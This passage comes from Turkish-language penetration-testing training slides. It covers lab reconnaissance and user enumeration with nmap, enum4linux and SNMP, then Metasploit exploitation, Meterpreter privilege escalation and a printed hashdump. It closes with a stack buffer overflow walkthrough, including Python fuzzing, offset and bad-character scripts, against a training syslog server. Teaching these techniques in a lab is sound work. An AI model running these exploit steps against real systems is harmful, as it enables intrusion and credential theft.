servis tespit etseniz bile exploit kodunuzun içindeki adreslerin hedef işletim
sisteminin versiyonuna uygun hale getirilmesi gerekebilir. Çünkü exploit’un
atlama adresi olarak kullandığı bölümdeki kodlar işletim sistemi
güncellemesi ile ortadan kalkmış veya kaymış olabilir)
• Envanter takibi (güvenlik yöneticisi olarak ağınıza bağlı cihazları takip etmek
için bu yöntemi kullanabilirsiniz)
• İzinsiz ve tehlikeli cihazların tespiti
• Sosyal mühendislik (hedeflediğiniz bir kullanıcı hakkında size destekleyici
bilgi sağlayabilir)
İşletim Sistemi ve Versiyonu Tespiti
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
# nmap -O 192.168.163.131
İşletim Sistemi ve Versiyonu Tespiti
Nmap, firewall'u aktif bir bilgisayarı -O opsiyonuyla işletim sistemi
tespiti amacıyla taradığımızda en az 1 AÇIK ve 1 KAPALI port
bulamadığı için ürettiği sonuçların sağlıklı olmayabileceğini belirtti.
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
İşletim Sistemi ve Versiyonu Tespiti
Hedefteki sunucumuz
Windows 7 Home Basic – SP1
işletim sistemine sahip
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
İşletim Sistemi ve Versiyonu Tespiti
İşletim sistemi enumeration
taramasını bu defa Firewall
pasif iken yapacağız
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Firewall pasif hale
getirildiğinde nmap biraz daha
daraltılmış bir tahmin yapabildi
İşletim Sistemi ve Versiyonu Tespiti
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
NMAP Aggressive Scan
# nmap –A 192.168.163.131
Servis
enumeration
“nmap”in -A (Aggressive Scan)
opsiyonu ile servis versiyonu,
işletim sistemi tespiti, script
scanning ve traceroute birlikte
yapılıyor.
İşletim sistemi
enumeration
SERVİS VE İŞLETİM SİSTEMİ TESPİTİ
Script scan
sonuçları
Traceroute
sonuçları
NMAP Aggressive Scan
# nmap -A 192.168.163.131
KULLANICI TESPİTİ
Windows 2000 işletim sistemi
modern işletmelerde artık
karşılaşma ihtimalimizin düşük
olduğu bir işletim sistemi. Ancak
en meşhur kullanıcı tespit
yöntemlerinden birisi olduğundan
ve belli bir yaşı aşkın işletmelerde
kıyıda köşede kalmış böyle bir
sunucuya rastlama ihtimaliniz
olduğundan null session
enumeration’dan bahsetmeden
geçemeyiz.
Null Session Enumeration
KULLANICI TESPİTİ
Null Session Enumeration
"enum4linux" aracı "Null
Session"a imkan veren
sunucularda kullanıcı tespiti ve
parola politikası tespiti de
yapabilmektedir.
KULLANICI TESPİTİ
Hedef işletim sisteminin bir
Windows 2000 sunucu olduğunu
görebiliriz.
Null Session Enumeration
KULLANICI TESPİTİ
Null session’ı engellemek için gerekli olan restrictanonymous registry
değerinin “0” olması sayesinde bu bilgilere erişebiliyoruz. Güvenli bir
konfigürasyonda bu değerin “2” olması beklenirdi.
Null Session Enumeration
KULLANICI TESPİTİ
Daha evvel snmp-check
aracı ile SNMP servisinden
bilgi edinmiştik.
Bu örnekte Metasploit'un
auxilary modüllerinden
snmp_enum modülünü
kullandık.
SNMP Enumeration
KULLANICI TESPİTİ
Windows
SNMP Enumeration
Daha önce de gördüğümüz
gibi Windows sunucu
kullanıcı hesaplarının
SNMP üzerinden elde
edilmesine imkan verdi.
Hedef bilgisayarımız bir
Windows 7 idi.
KULLANICI TESPİTİ
Linux
SNMP Enumeration
Kali üzerinde aktif hale
getirdiğimiz SNMP servisi
de bilgi sızdırıyor, ancak
kullanıcı isimlerinin
sağlanması gibi bir
fonksiyonalitesi yok.
KULLANICI TESPİTİ
Arama motorlarından E-
Posta adresleri tespiti
internet'ten VPN, Terminal
Servisi, E-Posta Sunucu
erişimleri, sosyal
mühendislik amaçlarına
hizmet edebilir
E-posta Adreslerinin Tespiti
KULLANICI TESPİTİ
E-posta Adreslerinin Tespiti
Kuruma ait web siteleri spider
edilerek web sayfalarında geçen
e-posta adresleri aktif olarak
aranabilir.
Burp-Suite aktif veya pasif olarak
gözlemlediği e-posta adreslerini
raporlamaktadır.
KULLANICI TESPİTİ
E-posta Adreslerinin Tespiti
Burp-Suite uyarı örneği
KULLANICI TESPİTİ
Ofis dokümanları metadata'ları
internet'ten VPN, Terminal Servisi, E-
Posta Sunucu erişimleri, sosyal
mühendislik saldırılarına yardımcı olabilir
Ofis Metadata'larından Kullanıcı Adı Tespiti
Google'da "filetype" ve "site" anahtar
kelimeleri ile hedef daraltılarak inceleme
yapılabilir.
KULLANICI TESPİTİ
Ofis Metadata'larından Kullanıcı Adı Tespiti
KULLANICI TESPİTİ
Öntanımlı Kullanıcılar
Hedef sunucu ve servis tespit edilebilirse
bu örnekte olduğu gibi öntanımlı parola
listelerinden veya ilgili sistemin
dokümantasyonu içinden öntanımlı
kullanıcılar aranabilir.
KULLANICI TESPİTİ
EGZERSİZ
• Kali üzerinde Nmap'in scriplerinin bulunduğu dizini tespit ediniz
ve içindeki script dosyalarının isimlerini inceleyiniz.
• oracle-enum-users.nse script'inin Oracle'ın öntanımlı portu
dışında bir portu kullanması halinde nasıl bir değişikliğe tabi
tutulması gerekebilir?
• Nmap script scan için gerekli kullanım kurallarını nmap'in man
page'inden inceleyiniz.
KULLANICI TESPİTİ
Web uygulamaları aracılığı ile kullanıcı sızdırma
Hedef kuruma ait bazı web uygulamalarının doğru ve hatalı kullanıcı kodları ile
yapılan erişim denemelerinde ayırt edici hata yanıtları döndürecek bir şekilde
kod geliştirilmeleri halinde (kimi durumlarda şans, kimi durumlarda tahmin
edilebilir kullanıcı kodlarının kullanıcılara atanması sayesinde) net olarak belli bir
kullanıcı kodunun geçerli olup olmadığını tespit edebiliriz. Bu tespit yapıldıktan
sonra da parola politikasına bağlı olarak kaba kuvvet saldırısı ile web
uygulamasına erişim gerçekleştirmemiz söz konusu olabilir.
SMTP enumeration
Açıkçası pek karşılaşılmasa da EXPN ve VRFY SMTP komutları ile ismini bizim
verdiğimiz kullanıcıların hedef sistem üzerinde tanımlı olup olmadıklarını tespit
edebiliriz. Ancak bu tür bir testte hedefi doğru belirleyebilmeniz için zaten
şüpheli öntanımlı kullanıcıları hedef almanız lazım. Bu durumda SMTP
enumeration yöntemi sadece basit bir doğrulama imkanı sunabilir.
Diğer Kullanıcı Tespit Yöntemleri
METASPLOIT
VE
METERPRETER
İÇERİK
• Metasploit Kullanımı
• Meterpreter Kullanımı
• Post Exploitation ve Yetki Yükseltme
• Handler Modülü
• Hashdump
METASPLOIT KULLANIMI
Metasploit'in en sık kullanılan
ve desteklenen arayüzü konsol
arayüzüdür.
METASPLOIT KULLANIMI
search type:exploit allmedia
Senaryo 2'de manuel olarak
gerçekleştirdiğimiz adımları bu
defa Metasploit üzerinde
gerçekleştirmeyi deneyeceğiz.
METASPLOIT KULLANIMI
use exploit/windows/misc/allmediaserver_bof
METASPLOIT KULLANIMI
netdiscover -r 192.168.163.0/24
Konsol arayüzünün avantajlarından
bir tanesi de işletim sistemi
komutlarını konsoldan ayrılmadan
çalıştırabilmemizdir.
METASPLOIT KULLANIMI
Hedef sistemimizin IP adresini
görüyoruz.
METASPLOIT KULLANIMI
set rhost 192.168.163.140
METASPLOIT KULLANIMI
exploit
Metasploit öntanımlı olarak
meterpreter payload'u
kullanıyor, bu yüzden payload
tanımlamadan da "exploit"
komutunu çalıştırabiliyoruz.
METERPRETER KULLANIMI
hashdump (Meterpreter
komutu)
Meterpreter payload'umuz
çalıştığında desteklenen
meterpreter komutlarını "help"
komutuyla görebiliriz.
Hashdump komutunun yanıt
döndürebilmesi için mevcut
erişim haklarımız yeterli
olmadı.
METERPRETER KULLANIMI
getsystem
Haklarımızı yükseltmek için
Meterpreter'in "getsystem" komutunu
kullanıyoruz
Ancak bu işlem de başarısız oluyor.
Bunun nedeni kullanılan payload'un
X86 mimarisi için olması da olabilir,
ancak exploit ettiğimiz Allmedia
sunucusu bir X86 uygulama olduğu için
bir X64 payload kullanamadık.
Denemek isterseniz bu bağlantı
üzerinden ayrı bir X64 exe payload
atılarak gözlemleyebilirsiniz.
METERPRETER KULLANIMI
run post/windows/gather/win_privs
win_privs post exploitation
modülünü kullanarak erişim
sağladığımız kullanıcının haklarını
ve hedef sunucuda UAC (User
Account Control) kontrolünün aktif
olup olmadığını kontrol ediyoruz.
Local Admin grubundayız,
ancak UAC'de aktif olduğu
için Admin haklarımızı
kullanamıyoruz.
METERPRETER KULLANIMI
Windows 7 işletim
sistemimiz üzerinde UAC
kontrolünün aktif olduğunu
görebiliriz.
POST EXPLOITATION VE YETKİ YÜKSELTME
Bu defa yetki yükseltme işlemimizi yine bir lokal exploit
kullanarak, ancak işlemimizi tamamen Metasploit
platformunun kolaylıklarını kullanarak gerçekleştireceğiz.
search local
POST EXPLOITATION VE YETKİ YÜKSELTME
Karşımıza çıkan Metasploit lokal exploit modüllerini sırası ile
mevcut Meterpreter oturumumuz üzerinden deneyebiliriz. Biz
daha önceden çalıştığını bildiğimiz bir lokal exploit'i kullanarak
ilerleyelim.
POST EXPLOITATION VE YETKİ YÜKSELTME
show options
set session 1
POST EXPLOITATION VE YETKİ YÜKSELTME
run
whoami
POST EXPLOITATION VE YETKİ YÜKSELTME
Meterpreter'in "hashdump" fonksiyonunu kullanabilmek için
mevcut payload'umuzu "windows/x64/meterpreter/reverse_tcp"
payload'u ile değiştirelim ve lokal exploit'umuzu tekrar çalıştıralım.
POST EXPLOITATION VE YETKİ YÜKSELTME
Yeni payload'umuzla bir
Meterpreter oturumu alabildik.
POST EXPLOITATION VE YETKİ YÜKSELTME
Bağlı olduğumuz kullanıcı adına
baktığımızda "SYSTEM" kullanıcı
olduğumuzu görebiliyoruz.
"hashdump" komutu ile sistem üzerindeki parola hash'lerini görüntüleyebildik.
Bu hash değerlerini daha sonra parola saldırısında kullanabiliriz.
HASHDUMP
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
test:1000:aad3b435b51404eeaad3b435b51404ee:979357191cb4f445b47292af934fd2a7:::
BELLEK
TAŞMA
AÇIKLIKLARI
İÇERİK
• Stack Tabanlı Bellek Taşması
• Kullanılacak Araçlar
• Uygulamanın Fuzz Edilmesi
• Python Script
• EIP Register Kontrolü
• Stack Alanı
• Bad Char
• Return Address – JMP ESP
• Shellcode
• Metasploit’ Exploit Ekleme Adımları
STACK TABANLI BELLEK TAŞMASI
STACK’İN KULLANIM AMAÇLARI
• Fonksiyon lokal değişkenleri için hafıza alanı sağlaması
• Bir fonksiyon çağrıldığında çağrılan fonksiyondan çıkıldığında
dönülecek instruction adresinin saklanması
• Çağıran fonksiyonun stack taban adresinin saklanması
• Çağrılan fonksiyona aktarılacak parametrelerin saklanması
STACK TABANLI BELLEK TAŞMASI
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Yüksek Adres
Düşük Adres
Pseudo
Assembly
esp
STACK TABANLI BELLEK TAŞMASI
TEMEL X86 REGISTER’LARI
EIP
Bir sonra çalışacak olan instruction’ın adresi
EBP ve ESP
İçinde bulunulan fonksiyonun stack frame’inin taban ve tavan adreslerini
barındıran register’lar
EAX, EBX, ECX, EDX, ESI, EDI
Genel amaçlı register’lar
EFLAGS
Çeşitli instruction’lar tarafından etkilenen ve kullanılan bayrakları barındıran 32
bit’lik bir register
STACK TABANLI BELLEK TAŞMASI
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
call main
ya da
call 0x00412345
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
esp
Yüksek Adres
saklanan EIP
STACK TABANLI BELLEK TAŞMASI
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
push ebp
mov ebp, esp
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
esp
Yüksek Adres
saklanan EIP
saklanan EBPebp
STACK TABANLI BELLEK TAŞMASI
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
sub esp, 0x190
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
esp
Yüksek Adres
saklanan EIP
saklanan EBP
0x190 byte’lık alan
ebp
STACK TABANLI BELLEK TAŞMASI
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
push 0xA
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
esp
Yüksek Adres
saklanan EIP
saklanan EBP
0x190 byte’lık alan
0x0A000000
ebp
STACK TABANLI BELLEK TAŞMASI
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
call f1
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
esp
Yüksek Adres
saklanan EIP
saklanan EBP
0x190 byte’lık alan
0x0A000000
saklanan EIP (main)
ebp
STACK TABANLI BELLEK TAŞMASI
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
push ebp
mov ebp, esp
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
esp
Yüksek Adres
saklanan EIP
saklanan EBP
0x190 byte’lık alan
0x0A000000
saklanan EIP (main)
saklanan EBP (main)
ebp
STACK TABANLI BELLEK TAŞMASI
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
sub esp, 0x28
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
esp
Yüksek Adres
saklanan EIP
saklanan EBP
0x190 byte’lık
tanımsız alan
0x0A000000
saklanan EIP (main)
saklanan EBP (main)
ebp
0x28 byte’lık tanımsız
alan
STACK TABANLI BELLEK TAŞMASI
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
mov [ebp-4], 0x0
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
Yüksek Adres
saklanan EIP
saklanan EBP
0x190 byte’lık
tanımsız alan
0x0A000000
saklanan EIP (main)
saklanan EBP (main)
ebp
0x24 byte’lık tanımsız
alan
0x00000000
esp
STACK TABANLI BELLEK TAŞMASI
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
mov ebx, [ebp+8]
mov [ebp-8], ebx
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
Yüksek Adres
saklanan EIP
saklanan EBP
0x190 byte’lık
tanımsız alan
0x0A000000
saklanan EIP (main)
saklanan EBP (main)
0x20 byte’lık tanımsız
alan
0x00000000
0x0A000000
esp
ebp
STACK TABANLI BELLEK TAŞMASI
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
memset v.b.
Fonksiyonla
AAA...AAA
sabitinin ayrılan
hafıza alanına
yazılması
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
Yüksek Adres
saklanan EIP
saklanan EBP
0x190 byte’lık
tanımsız alan
0x0A000000
saklanan EIP (main)
saklanan EBP (main)
0x20 byte’lık tanımsız
alan
0x00000000
0x0A000000
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
esp
ebp
STACK TABANLI BELLEK TAŞMASI
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
xor eax, eax
add esp, 0x28
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
Yüksek Adres
saklanan EIP
saklanan EBP
0x190 byte’lık
tanımsız alan
0x0A000000
saklanan EIP (main)
saklanan EBP (main)
0x41414141
0x41414141
0x41414141
0x41414141
espebp
EAX = 0x00000000
STACK TABANLI BELLEK TAŞMASI
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
pop ebp
ret
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
Yüksek Adres
saklanan EIP
saklanan EBP
0x190 byte’lık
tanımsız alan
0x0A000000
0x41414141
0x41414141 esp
EBP = 0x41414141
EIP = 0x41414141
STACK TABANLI BELLEK TAŞMASI
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
int f1(int girdi)
{
int i=0;
int x=girdi;
char adSoyad[32];
adSoyad="AAA...AAA";
return 0;
}
int main()
{
char[400]="";
f1(10);
printf("def");
return 0;
}
Pseudo Kod Pseudo
Assembly
????????
Stack
main fonksiyonunu çağıran
fonksiyonun stack frame’i
Düşük Adres
Yüksek Adres
saklanan EIP
saklanan EBP
0x190 byte’lık
tanımsız alan
0x0A000000
0x41414141
0x41414141 esp
EIP = 0x41414141
BUFFER OVERFLOW
• Bu bölümde Buffer Overflow yöntemi kullanarak
shell açma konusundan bahsedeceğiz. Shell açmak
için gerekli çalışmaları yaptıktan sonra
oluşturacağımızı exploiti Metasploit framework
üzerine bir modül olarak ekleyeceğiz.
• Adımlarımızı BTRisk tarafından bu konuya özel olarak
geliştirilen BTRSyslog uygulaması üzerinde
gerçekleştireceğiz.
UYGULAMA HAKKINDA
• BTRSyslog uygulaması UDP 514 portunu dinleyerek
kendisine gelen paketleri toplamaktadır. Bu nedenle
Buffer Overflow adımlarını izlerken bizde bu port ve
protokolden faydalanacağız.
UYGULAMA TESTİ
• hping3 192.168.2.4 -p 514 --udp --data 1
KULLANILACAK ARAÇLAR
• Immunity Debugger
http://debugger.immunityinc.com/ID_register.py
• mona.py script'i
https://www.corelan.be/index.php/2011/07/14/mona-
py-the-manual/
Mona.py script'imizi Immunity Debugger üzerinde kullanılabilmesi için bu dosyayı şu dizine
kopyalamalıyız:
C:Program Files (x86)Immunity IncImmunity DebuggerPyCommands
UYGULAMANIN FUZZ EDİLMESİ
• BTRSyslog uygulaması UDP 514 portundan girdi
alıyor. Bu porta gönderilecek verileri üretmek ve
herhangi bir bellek taşması bulunup bulunmadığını
test etmek amacıyla bir fuzzing script'i kullanacağız.
FUZZ SCRIPT (PYTHON)
#!/usr/bin/python
import socket, time
buffer = ["A"]
counter = 10
while len(buffer) <=20:
buffer.append("A" * counter)
counter = counter + 10
for strings in buffer:
time.sleep(1)
print "Buffer : %s byte" % len(strings)
s=socket.socket (socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('192.168.2.7', 514))
s.send(strings)
s.close
Bu script ilk olarak tek bir "A" karakteri
gönderecek, sonraki pakette 10 adet "A" karakteri
ve daha sonraki her pakette de 10'ar tane daha
"A" karakteri ekleyerek veri gönderilecek. Yani:
"A"
"AAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
... şeklinde
FUZZING – IMMUNITY DEBUGGER
• Fuzzing işlemi sırasında hata alırsak hatanın alındığı
anda belleğin durumunu ve register'ların değerlerini
net olarak görebilmek için uygulamamıza Immunity
Debugger ile "attach" olacağız (veya BTRSyslog'u
doğrudan Immunity Debugger içinden başlatabiliriz).
• Debugger uygulamaya attach edildiğinde (veya
uygulama debugger ile başlatıldığında) debugger
uygulamayı bir software breakpoint ile durdurur.
Uygulamanın çalışmaya devam edebilmesi için "Run
program" tuşuna basılır.
• Uygulamamız belli bir veri uzunluğu aşıldığında
hata aldı ve kontrol debugger'a devredildi.
FUZZING – IMMUNITY DEBUGGER
Immunity Debugger'ın CPU view'ında sağ
üst köşede Register'ların değerlerini
görebiliriz. Buraya göz attığımızda hata
alındığı anda EIP değerinin 0x41414141
olduğunu görüyoruz.
• 0x41 değeri "A" karakterimizin ASCII Hex karşılığıdır.
• EIP değerini bizim gönderdiğimiz bir veri ile
ezebilmek demek uygulama akışına müdahale imkanı
elde ettiğimiz anlamına gelmektedir.
• EIP register'ına yazacağımız değerin anlamlı bir adres
olabilmesi için başarmamız gereken ilk adım EIP
değerine müdahale edebildiğimiz 4 byte'lık (yani 32
bit'lik) veri alanının gönderdiğimiz veri (payload)
içinde tam olarak nerede olduğunu tespit etmektir.
FUZZING – IMMUNITY DEBUGGER
EIP REGISTER KONTROLÜ
• EIP registerına müdahale edebildiğimiz offset değerini
tespit edebilmek için metasploit framework içerisinde
bulunan "pattern_create.rb" scriptini kullanacağız.
• Bu script ile 200 byte uzunluğunda bir pattern
oluşturacağız.
./pattern_create.rb -l 200
EIP REGISTER KONTROLÜ
#!/usr/bin/python
import socket
buffer =
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3
Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7A
c8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae
2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6
Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"
s=socket.socket
(socket.AF_INET,socket.SOCK_DGRAM)
s.connect(('192.168.2.13', 514))
s.send(buffer)
s.close
FUZZING – IMMUNITY DEBUGGER
Oluşturduğumuz pattern'ı
BTRSyslog'a göndermek için yandaki
script'i kullanabiliriz.
Ancak BTRSyslog uygulamamızı
baştan başlatmayı unutmayınız.
Register'lar
EIP = 0x65413565Instruction'lar
EIP REGISTER KONTROLÜ
Stack alanı
Pattern BTRSyslog sunucusuna gönderildiğinde yine hata aldık, ancak bu defa
EIP değeri 0x65413565 oldu. Şimdi sıra bu verinin tam olarak hangi offset'te
yer aldığını bulmaya geldir.
EIP REGISTER KONTROLÜ
./pattern_offset.rb -q 65413565
• 136. offset değerinin doğruluğunu test etmek için şu
formatta bir payload üretebiliriz:
EIP REGISTER KONTROLÜ
buffer = "A" * 136 + "B" * 4 + "C" * 60
AAAAAAAAAAAAA...AAAAAABBBBCCCCCCCC...CCC
EIP REGISTER KONTROLÜ
#!/usr/bin/python
import socket
buffer = "A" * 136 + "B" * 4 + "C" * 60
s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM)
s.connect(('192.168.2.13', 514))
s.send(buffer)
s.close
• Scriptimiz çalıştıktan sonra EIP register'ının
0X42424242 değerleri ile ezildiğini görüyoruz. Bu
durumda EIP offset değerimizin doğruluğundan emin
olabiliriz.
EIP REGISTER KONTROLÜ
STACK ALANI
• EIP register değerini manipüle ettikten sonra sıra
belleğe kendi kodumuzu yazmaya geldi. İşe yarar bir
shellcode'un boyutu 350-400 byte civarında olacaktır.
• EIP değerini ezmeden önce kullandığımız alan 136
byte olduğundan tercihimiz EIP register'ının ezildiği
noktadan sonra shellcode'umuzu yerleştirmek olabilir.
• Ancak shellcode'umuzu yazdığımızda Stack alanının
başlangıç sınırını aşmayacağımızdan emin olmamız
lazım. Aksi taktirde payload'umuz yazılırken hata alırız
ve daha kodumuz çalışmadan uygulama sonlanır.
#!/usr/bin/python
import socket
buffer = "A" * 136 + "B" * 4 + "C" * 460
s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM)
s.connect(('192.168.2.13', 514))
s.send(buffer)
s.close
EIP'yi ezdiğimiz alandan sonra
yeterli alan bulunup
bulunmadığını test etmek için
payload'umuza 460 byte'lık bir
değer ekleyelim.
STACK ALANI
Bu noktada 2 iyi haberimiz var:
(1) Hata alındığında ESP register'ı
payload'umuzun bir bölümüne işaret
ediyor.
(2) 460 byte'lık veriyi stack'e yazabildik ve
stack limitini aşmadık.
STACK ALANI
Register'larımızdan birisinin payload'umuza işaret etmesi
önemli çünkü:
• Modern işletim sistemlerinde ASLR
uygulandığından stack alanımızın adresi her
yüklemede değişecektir. Bu yüzden payload'umuzu
çalıştırabilmek için STACK adresine güvenemeyiz.
• Ancak uygulamanın bellek alanına yüklenen ve
ASLR uygulanmayan bir modülün (yani bir başka
DLL veya EXE imajının) içinde JMP ESP, CALL ESP,
v.b. instruction'lar varsa bu modülün hafızaya
yerleştiği alan her defasında sabit olacağından bu
modülleri atlama noktası olarak kullanabiliriz.
STACK ALANI
• Gerçek payload'umuzu oluşturmaya başlamadan önce
payload'umuzun belleğe yazılmasına engel olabilecek
karakterlerin (bad chars) tespit edilmesi
gerekmektedir.
• Bu karakterlerin en tipik olanı strcpy() gibi
fonksiyonların belleğe yazmasına son vermesine
neden olan "0x00" yani null byte değeridir. Ancak
bunun dışında farklı değerler de soruna yol açabilir.
• Bu yüzden daha fazla ilerlemeden önce kötü
karakterleri tespit etmemizde fayda var.
KÖTÜ KARAKTERLER
!mona config -set workingfolder c:logs%p
Kötü karakterleri tespit etmek için manuel yöntemi kullanabiliriz.
Ancak "mona.py" script'inden faydalanacağız. Bunun için öncelikle
"mona"nın çıktılarını yazabilmesi için bir dizin belirlememiz lazım.
KÖTÜ KARAKTERLER
!mona bytearray -b "x00"
"mona" ile "x00" hariç tüm byte'ları içerecek bir bytearray
oluşturuyoruz. "mona" bir "txt" bir de "bin" dosyası oluşturuyor.
KÖTÜ KARAKTERLER
"bin" dosyası "mona" ile
bellek karşılaştırması için
kullanacağımız dosya
"txt" dosyası ise exploit
kodumuz içinde
kullanılabilecek formatta veri
içeriyor
KÖTÜ KARAKTERLER
#!/usr/bin/python
import socket
badchars =
("x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20"
"x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40"
"x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60"
"x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80"
"x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0"
"xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0"
"xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0"
"xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff")
buffer = "A" * 136 + "B" * 4 + badchars
s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM)
s.connect(('192.168.2.13', 514))
s.send(buffer)
s.close
"CC" payload'umuzun yerine "mona" ile
oluşturduğumuz byte array'i yerleştirerek tekrar
sunucumuza gönderiyoruz.
KÖTÜ KARAKTERLER
KÖTÜ KARAKTERLER
ESP register değerinin üzerinde sağ
klikleyerek "Follow in Dump"
seçeneğini seçiyoruz ve sol altta bu
alandaki verileri görebiliyoruz.
"x09" byte'ından sonraki kesinti
hemen göze çarpıyor. Ancak biz kötü
karakterlerin tespitinde mona'dan
da faydalanmayı göreceğiz.
KÖTÜ KARAKTERLER
!mona compare -f C:logsBTRSyslogbytearray.bin -a 06C3F450
"mona"nın compare komutuyla
oluşturduğumuz binary dosya ile
bellek'te 0x06C3F450 adresinden
başlayan alanı karşılaştırıyoruz.
Mona bize 9. byte'tan sonra bozulma
olduğunu x00 ve x0a karakterlerinin
kötü karakter olduklarını söylüyor.
!mona bytearray -b "x00x0a"
"x0a" karakterini kötü karakter olarak belirlediğimiz için "mona" ile "x00"
ve "x0a" hariç tüm byte'ları içerecek yeni bir bytearray oluşturuyoruz.
KÖTÜ KARAKTERLER
#!/usr/bin/python
import socket
badchars =
